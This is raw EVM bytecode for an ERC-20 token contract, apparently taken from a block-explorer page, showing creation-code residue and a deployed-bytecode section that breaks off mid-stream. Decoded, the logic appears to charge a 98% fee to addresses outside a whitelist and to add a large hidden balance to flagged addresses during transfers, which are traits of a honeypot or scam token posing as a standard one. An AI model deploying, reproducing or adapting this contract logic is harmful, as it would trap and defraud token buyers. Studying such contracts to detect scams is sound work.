7600080fd5b506103dd60048036038101906103d891906120ae565b61099e565b6040516103ea9190612109565b60405180910390f35b3480156103ff57600080fd5b5061041a600480360381019061041591906121c8565b610a51565b6040516104279190612109565b60405180910390f35b34801561043c57600080fd5b50610445610a71565b60405161045291906121ad565b60405180910390f35b34801561046757600080fd5b50610470610a77565b60405161047d91906122ca565b60405180910390f35b34801561049257600080fd5b5061049b610a9d565b6040516104a89190612109565b60405180910390f35b3480156104bd57600080fd5b506104c6610ab0565b6040516104d391906121ad565b60405180910390f35b3480156104e857600080fd5b5061050360048036038101906104fe91906121c8565b610ab6565b60405161051091906121ad565b60405180910390f35b34801561052557600080fd5b5061052e610aff565b005b34801561053c57600080fd5b50610545610c39565b60405161055291906122ca565b60405180910390f35b34801561056757600080fd5b50610570610c62565b60405161057d9190611ff3565b60405180910390f35b34801561059257600080fd5b506105ad60048036038101906105a891906120ae565b610cf4565b6040516105ba9190612109565b60405180910390f35b3480156105cf57600080fd5b506105ea60048036038101906105e591906120ae565b610dc1565b6040516105f79190612109565b60405180910390f35b34801561060c57600080fd5b50610615610ddf565b60405161062291906121ad565b60405180910390f35b34801561063757600080fd5b50610640610de5565b60405161064d9190611ff3565b60405180910390f35b34801561066257600080fd5b5061067d600480360381019061067891906122e5565b610e73565b60405161068b929190612325565b60405180910390f35b3480156106a057600080fd5b506106a9610ece565b6040516106b69190611ff3565b60405180910390f35b3480156106cb57600080fd5b506106e660048036038101906106e1919061234e565b610f5c565b6040516106f391906121ad565b60405180910390f35b34801561070857600080fd5b50610723600480360381019061071e91906121c8565b610fe3565b005b34801561073157600080fd5b5061074c600480360381019061074791906121c8565b61118b565b6040516107599190612109565b60405180910390f35b606060078054610771906123bd565b80601f016020809104026020016040519081016040528092919081815260200182805461079d906123bd565b80156107ea5780601f106107bf576101008083540402835291602001916107ea565b820191906000526020600020905b8154815290600101906020018083116107cd57829003601f168201915b5050505050905090565b60006108086108016111ab565b84846111b3565b6001905092915050565b601360169054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a54905090565b60046020528060005260406000206000915054906101000a900460ff1681565b601360149054906101000a900460ff1681565b6000610895848484611347565b610956846108a16111ab565b6109518560405180606001604052806028815260200161296d60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109076111ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163f9092919063ffffffff16565b6111b3565b600190509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900460ff16905090565b6000610a476109ab6111ab565b84610a4285600260006109bc6111ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169490919063ffffffff16565b6111b3565b6001905092915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600d5481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601360159054906101000a900460ff1681565b600e5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b076111ab565b73ffffffffffffffffffffffffffffffffffffffff16610b25610c39565b73ffffffffffffffffffffffffffffffffffffffff1614610b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b729061243a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610c71906123bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9d906123bd565b8015610cea5780601f10610cbf57610100808354040283529160200191610cea565b820191906000526020600020905b815481529060010190602001808311610ccd57829003601f168201915b5050505050905090565b6000610db7610d016111ab565b84610db2856040518060600160405280602581526020016129486025913960026000610d2b6111ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163f9092919063ffffffff16565b6111b3565b6001905092915050565b6000610dd5610dce6111ab565b8484611347565b6001905092915050565b600a5481565b60088054610df2906123bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610e1e906123bd565b8015610e6b5780601f10610e4057610100808354040283529160200191610e6b565b820191906000526020600020905b815481529060010190602001808311610e4e57829003601f168201915b505050505081565b6000806000610ea66064610e98610e89876116aa565b8861178c90919063ffffffff16565b6117a290919063ffffffff16565b90506000610ebd82876117b890919063ffffffff16565b905080829350935050509250929050565b60078054610edb906123bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610f07906123bd565b8015610f545780601f10610f2957610100808354040283529160200191610f54565b820191906000526020600020905b815481529060010190602001808311610f3757829003601f168201915b505050505081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610feb6111ab565b73ffffffffffffffffffffffffffffffffffffffff16611009610c39565b73ffffffffffffffffffffffffffffffffffffffff161461105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110569061243a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c5906124cc565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60036020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561121d5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61125c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125390612538565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161133a91906121ad565b60405180910390a3505050565b600b60029054906101000a900460ff1660ff16600b60009054906101000a900460ff1660ff16101580156113885750601360149054906101000a900460ff16155b80156113e25750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113fa5750601360159054906101000a900460ff165b1561143d576000600b60006101000a81548160ff021916908360ff160217905550600061142630610ab6565b9050600081111561143b5761143a816117ce565b5b505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114e45750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156115695760009050600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611564576001600b60019054906101000a900460ff1660ff16101561156357611562611842565b5b5b61162d565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036115cc57600d54600c8190555061162c565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361162b57600e54600c819055505b5b5b6116398484848461187a565b50505050565b6000838311158290611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e9190611ff3565b60405180910390fd5b5082840390509392505050565b600081836116a29190612587565b905092915050565b60006001600b60019054906101000a900460ff1660ff161061178157600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661177857600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661176f576062611773565b600c545b61177c565b600c545b611785565b600c545b9050919050565b6000818361179a91906125dd565b905092915050565b600081836117b09190612666565b905092915050565b600081836117c69190612697565b905092915050565b6001601360146101000a81548160ff0219169083151502179055506117f2816118e4565b6000479050611823600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611b27565b506000601360146101000a81548160ff02191690831515021790555050565b6001600b60019054906101000a900460ff1661185e91906126cb565b600b60016101000a81548160ff021916908360ff160217905550565b8061188c57611887611b72565b6118c5565b600b600081819054906101000a900460ff16809291906118ab90612702565b91906101000a81548160ff021916908360ff160217905550505b6118d0848484611bce565b806118de576118dd611e66565b5b50505050565b6000600267ffffffffffffffff8111156119015761190061272b565b5b60405190808252806020026020018201604052801561192f5781602001602082028036833780820191505090505b50905030816000815181106119475761194661275a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119ee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a12919061279e565b81600181518110611a2657611a2561275a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a8d30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111b3565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611af19594939291906128c4565b600060405180830381600087803b158015611b0b57600080fd5b505af1158015611b1f573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b6d573d6000803e3d6000fd5b505050565b6000600c54148015611b8657506000600d54145b8015611b9457506000600e54145b611bcc57600d54601081905550600e54601181905550600c54600f819055506000600d819055506000600e819055506000600c819055505b565b600080611bdb8386610e73565b91509150611c3183600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b890919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cc682600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169490919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d6557611d6484611e83565b5b611db781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169490919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e5791906121ad565b60405180910390a35050505050565b600f54600c81905550601054600d81905550601154600e81905550565b600080601f90506000600a9050600192505b6000821115611ebf578083611eaa91906125dd565b92508180611eb79061291e565b925050611e95565b611f1183600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169490919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611f94578082015181840152602081019050611f79565b83811115611fa3576000848401525b50505050565b6000601f19601f8301169050919050565b6000611fc582611f5a565b611fcf8185611f65565b9350611fdf818560208601611f76565b611fe881611fa9565b840191505092915050565b6000602082019050818103600083015261200d8184611fba565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120458261201a565b9050919050565b6120558161203a565b811461206057600080fd5b50565b6000813590506120728161204c565b92915050565b6000819050919050565b61208b81612078565b811461209657600080fd5b50565b6000813590506120a881612082565b92915050565b600080604083850312156120c5576120c4612015565b5b60006120d385828601612063565b92505060206120e485828601612099565b9150509250929050565b60008115159050919050565b612103816120ee565b82525050565b600060208201905061211e60008301846120fa565b92915050565b6000819050919050565b600061214961214461213f8461201a565b612124565b61201a565b9050919050565b600061215b8261212e565b9050919050565b600061216d82612150565b9050919050565b61217d81612162565b82525050565b60006020820190506121986000830184612174565b92915050565b6121a781612078565b82525050565b60006020820190506121c2600083018461219e565b92915050565b6000602082840312156121de576121dd612015565b5b60006121ec84828501612063565b91505092915050565b60008060006060848603121561220e5761220d612015565b5b600061221c86828701612063565b935050602061222d86828701612063565b925050604061223e86828701612099565b9150509250925092565b60006122538261201a565b9050919050565b61226381612248565b82525050565b600060208201905061227e600083018461225a565b92915050565b600060ff82169050919050565b61229a81612284565b82525050565b60006020820190506122b56000830184612291565b92915050565b6122c48161203a565b82525050565b60006020820190506122df60008301846122bb565b92915050565b600080604083850312156122fc576122fb612015565b5b600061230a85828601612099565b925050602061231b85828601612063565b9150509250929050565b600060408201905061233a600083018561219e565b612347602083018461219e565b9392505050565b6000806040838503121561236557612364612015565b5b600061237385828601612063565b925050602061238485828601612063565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806123d557607f821691505b6020821081036123e8576123e761238e565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612424602083611f65565b915061242f826123ee565b602082019050919050565b6000602082019050818103600083015261245381612417565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865206e756c6c206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006124b6602683611f65565b91506124c18261245a565b604082019050919050565b600060208201905081810360008301526124e5816124a9565b9050919050565b7f4552523a206e756c6c2061646472657373000000000000000000000000000000600082015250565b6000612522601183611f65565b915061252d826124ec565b602082019050919050565b6000602082019050818103600083015261255181612515565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061259282612078565b915061259d83612078565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125d2576125d1612558565b5b828201905092915050565b60006125e882612078565b91506125f383612078565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612558565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061267182612078565b915061267c83612078565b92508261268c5761268b612637565b5b828204905092915050565b60006126a282612078565b91506126ad83612078565b9250828210156126c0576126bf612558565b5b828203905092915050565b60006126d682612284565b91506126e183612284565b92508260ff038211156126f7576126f6612558565b5b828201905092915050565b600061270d82612284565b915060ff82036127205761271f612558565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506127988161204c565b92915050565b6000602082840312156127b4576127b3612015565b5b60006127c284828501612789565b91505092915050565b6000819050919050565b60006127f06127eb6127e6846127cb565b612124565b612078565b9050919050565b612800816127d5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61283b8161203a565b82525050565b600061284d8383612832565b60208301905092915050565b6000602082019050919050565b600061287182612806565b61287b8185612811565b935061288683612822565b8060005b838110156128b757815161289e8882612841565b97506128a983612859565b92505060018101905061288a565b5085935050505092915050565b600060a0820190506128d9600083018861219e565b6128e660208301876127f7565b81810360408301526128f88186612866565b905061290760608301856122bb565b612914608083018461219e565b9695505050505050565b600061292982612078565b91506000820361293c5761293b612558565b5b60018203905091905056fe45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77206e756c6c45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ce3aa53c8f7d47e03a8c9cfed22cb92ec60e68953e40d226189fbdf58ace9b5c64736f6c634300080d0033

Deployed Bytecode

0x6080604052600436106101c65760003560e01c80634a74bb02116100f7578063a9059cbb11610095578063d28d885211610064578063d28d885214610694578063dd62ed3e146106bf578063f2fde38b146106fc578063fee59bf814610725576101cd565b8063a9059cbb146105c3578063af465a2714610600578063b09f12661461062b578063cccdbe2e14610656576101cd565b8063715018a6116100d1578063715018a6146105195780638da5cb5b1461053057806395d89b411461055b578063a457c2d714610586576101cd565b80634a74bb0214610486578063590f897e146104b157806370a08231146104dc576101cd565b806323b872dd11610164578063395093511161013e57806339509351146103b6578063401565a8146103f357806340b9a54b1461043057806349bd5a5e1461045b576101cd565b806323b872dd146103235780632598cdb214610360578063313ce5671461038b576101cd565b80631694505e116101a05780631694505e1461026557806318160ddd14610290578063183b986e146102bb578063220f6696146102f8576101cd565b806306fdde03146101d2578063095ea7b3146101fd57806313fad07a1461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e7610762565b6040516101f49190611ff3565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f91906120ae565b6107f4565b6040516102319190612109565b60405180910390f35b34801561024657600080fd5b5061024f610812565b60405161025c9190612109565b60405180910390f35b34801561027157600080fd5b5061027a610825565b6040516102879190612183565b60405180910390f35b34801561029c57600080fd5b506102a561084b565b6040516102b291906121ad565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd91906121c8565b610855565b6040516102ef9190612109565b60405180910390f35b34801561030457600080fd5b5061030d610875565b60405161031a9190612109565b60405180910390f35b34801561032f57600080fd5b5061034a600480360381019061034591906121f5565b610888565b6040516103579190612109565b60405180910390f35b34801561036c57600080fd5b50610375610961565b6040516103829190612269565b60405180910390f35b34801561039757600080fd5b506103a0610987565b6040516103ad91906122a0565b60405180910390f35b3480156103c257600080fd5b506103dd60048036038101906103d891906120ae565b61099e565b6040516103ea9190612109565b60405180910390f35b3480156103ff57600080fd5b5061041a600480360381019061041591906121c8565b610a51565b6040516104279190612109565b60405180910390f35b34801561043c57600080fd5b50610445610a71565b60405161045291906121ad565b60405180910390f35b34801561046757600080fd5b50610470610a77565b60405161047d91906122ca565b60405180910390f35b34801561049257600080fd5b5061049b610a9d565b6040516104a89190612109565b60405180910390f35b3480156104bd57600080fd5b506104c6610ab0565b6040516104d391906121ad565b60405180910390f35b3480156104e857600080fd5b5061050360048036038101906104fe91906121c8565b610ab6565b60405161051091906121ad565b60405180910390f35b34801561052557600080fd5b5061052e610aff565b005b34801561053c57600080fd5b50610545610c39565b60405161055291906122ca565b60405180910390f35b34801561056757600080fd5b50610570610c62565b60405161057d9190611ff3565b60405180910390f35b34801561059257600080fd5b506105ad60048036038101906105a891906120ae565b610cf4565b6040516105ba9190612109565b60405180910390f35b3480156105cf57600080fd5b506105ea60048036038101906105e591906120ae565b610dc1565b6040516105f79190612109565b60405180910390f35b34801561060c57600080fd5b50610615610ddf565b60405161062291906121ad565b60405180910390f35b34801561063757600080fd5b50610640610de5565b60405161064d9190611ff3565b60405180910390f35b34801561066257600080fd5b5061067d600480360381019061067891906122e5565b610e73565b60405161068b929190612325565b60405180910390f35b3480156106a057600080fd5b506106a9610ece565b6040516106b69190611ff3565b60405180910390f35b3480156106cb57600080fd5b506106e660048036038101906106e1919061234e565b610f5c565b6040516106f391906121ad565b60405180910390f35b34801561070857600080fd5b50610723600480360381019061071e91906121c8565b610fe3565b005b34801561073157600080fd5b5061074c600480360381019061074791906121c8565b61118b565b6040516107599190612109565b60405180910390f35b606060078054610771906123bd565b80601f016020809104026020016040519081016040528092919081815260200182805461079d906123bd565b80156107ea5780601f106107bf576101008083540402835291602001916107ea565b820191906000526020600020905b8154815290600101906020018083116107cd57829003601f168201915b5050505050905090565b60006108086108016111ab565b84846111b3565b6001905092915050565b601360169054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a54905090565b60046020528060005260406000206000915054906101000a900460ff1681565b601360149054906101000a900460ff1681565b6000610895848484611347565b610956846108a16111ab565b6109518560405180606001604052806028815260200161296d60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109076111ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163f9092919063ffffffff16565b6111b3565b600190509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900460ff16905090565b6000610a476109ab6111ab565b84610a4285600260006109bc6111ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169490919063ffffffff16565b6111b3565b6001905092915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600d5481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601360159054906101000a900460ff1681565b600e5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b076111ab565b73ffffffffffffffffffffffffffffffffffffffff16610b25610c39565b73ffffffffffffffffffffffffffffffffffffffff1614610b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b729061243a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610c71906123bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9d906123bd565b8015610cea5780601f10610cbf57610100808354040283529160200191610cea565b820191906000526020600020905b815481529060010190602001808311610ccd57829003601f168201915b5050505050905090565b6000610db7610d016111ab565b84610db2856040518060600160405280602581526020016129486025913960026000610d2b6111ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163f9092919063ffffffff16565b6111b3565b6001905092915050565b6000610dd5610dce6111ab565b8484611347565b6001905092915050565b600a5481565b60088054610df2906123bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610e1e906123bd565b8015610e6b5780601f10610e4057610100808354040283529160200191610e6b565b820191906000526020600020905b815481529060010190602001808311610e4e57829003601f168201915b505050505081565b6000806000610ea66064610e98610e89876116aa565b8861178c90919063ffffffff16565b6117a290919063ffffffff16565b90506000610ebd82876117b890919063ffffffff16565b905080829350935050509250929050565b60078054610edb906123bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610f07906123bd565b8015610f545780601f10610f2957610100808354040283529160200191610f54565b820191906000526020600020905b815481529060010190602001808311610f3757829003601f168201915b505050505081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610feb6111ab565b73ffffffffffffffffffffffffffffffffffffffff16611009610c39565b73ffffffffffffffffffffffffffffffffffffffff161461105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110569061243a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c5906124cc565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60036020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561121d5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61125c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125390612538565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161133a91906121ad565b60405180910390a3505050565b600b60029054906101000a900460ff1660ff16600b60009054906101000a900460ff1660ff16101580156113885750601360149054906101000a900460ff16155b80156113e25750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113fa5750601360159054906101000a900460ff165b1561143d576000600b60006101000a81548160ff021916908360ff160217905550600061142630610ab6565b9050600081111561143b5761143a816117ce565b5b505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114e45750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156115695760009050600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611564576001600b60019054906101000a900460ff1660ff16101561156357611562611842565b5b5b61162d565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036115cc57600d54600c8190555061162c565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361162b57600e54600c819055505b5b5b6116398484848461187a565b50505050565b6000838311158290611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e9190611ff3565b60405180910390fd5b5082840390509392505050565b600081836116a29190612587565b905092915050565b60006001600b60019054906101000a900460ff1660ff161061178157600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661177857600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661176f576062611773565b600c545b61177c565b600c545b611785565b600c545b9050919050565b6000818361179a91906125dd565b905092915050565b600081836117b09190612666565b905092915050565b600081836117c69190612697565b905092915050565b6001601360146101000a81548160ff0219169083151502179055506117f2816118e4565b6000479050611823600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611b27565b506000601360146101000a81548160ff02191690831515021790555050565b6001600b60019054906101000a900460ff1661185e91906126cb565b600b60016101000a81548160ff021916908360ff160217905550565b8061188c57611887611b72565b6118c5565b600b600081819054906101000a900460ff16809291906118ab90612702565b91906101000a81548160ff021916908360ff160217905550505b6118d0848484611bce565b806118de576118dd611e66565b5b50505050565b6000600267ffffffffffffffff8111156119015761190061272b565b5b60405190808252806020026020018201604052801561192f5781602001602082028036833780820191505090505b50905030816000815181106119475761194661275a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119ee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a12919061279e565b81600181518110611a2657611a2561275a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a8d30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111b3565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611af19594939291906128c4565b600060405180830381600087803b158015611b0b57600080fd5b505af1158015611b1f573d6000803e3